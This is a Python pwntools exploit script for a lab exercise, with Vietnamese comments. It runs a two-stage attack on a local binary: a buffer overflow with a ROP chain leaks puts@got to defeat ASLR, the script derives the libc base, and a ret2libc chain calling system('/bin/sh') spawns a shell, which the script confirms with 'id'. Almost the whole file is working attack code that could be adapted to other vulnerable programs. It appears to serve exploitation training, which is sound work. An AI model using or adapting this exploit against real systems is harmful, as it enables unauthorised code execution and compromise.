#!/usr/bin/env python3
# Lab 6.2: exploit hai giai doan. Chay voi ASLR BAT.
#   Giai doan 1: puts(puts@got) in dia chi libc that cua puts, roi ret ve main.
#   Giai doan 2: tinh base libc DONG tu libc server (glibc 2.39), ret2libc lay shell.
from pwn import *
import time

context.binary = elf = ELF('./leaklibc')
context.log_level = 'info'

# libc that cua server -> moi offset tinh dong, khong hardcode 2.35
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io = process('./leaklibc')

offset = 72
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]   # gadget da nhet vao binary
ret     = rop.find_gadget(['ret'])[0]
log.info('pop rdi ; ret (binary) = %#x', pop_rdi)

# ---- Giai doan 1: leak puts@got ----
io.recvuntil(b'start\n')
payload1 = flat(
    b'A' * offset,
    pop_rdi, elf.got['puts'],   # rdi = &puts@got
    elf.plt['puts'],            # puts(puts@got) -> in dia chi libc cua puts
    elf.sym['main'],            # quay lai main cho giai doan 2
)
io.send(payload1)

leak = io.recvline().strip()
puts_libc = u64(leak.ljust(8, b'\x00'))
log.success('puts @ libc = %#x', puts_libc)

libc.address = puts_libc - libc.sym['puts']
log.success('libc base   = %#x', libc.address)
assert libc.address & 0xfff == 0, 'base phai can trang, sai libc version?'

# ---- Giai doan 2: ret2libc ----
io.recvuntil(b'start\n')        # main chay lai
binsh  = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
log.info('system  = %#x', system)
log.info('/bin/sh = %#x', binsh)
payload2 = flat(
    b'A' * offset,
    ret,                        # can alignment 16 byte cho system
    pop_rdi, binsh,
    system,
)
io.send(payload2)

# cho read(0,buf,256) tra ve va shell spawn truoc khi gui lenh (tranh bi nuot)
time.sleep(0.5)
io.sendline(b'echo ===PWNED_6_2===; id; uname -a; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'uid=' in out and '===PWNED_6_2===' in out, 'FAIL: khong lay duoc shell'
log.success('leak + ret2libc OK: da lay shell')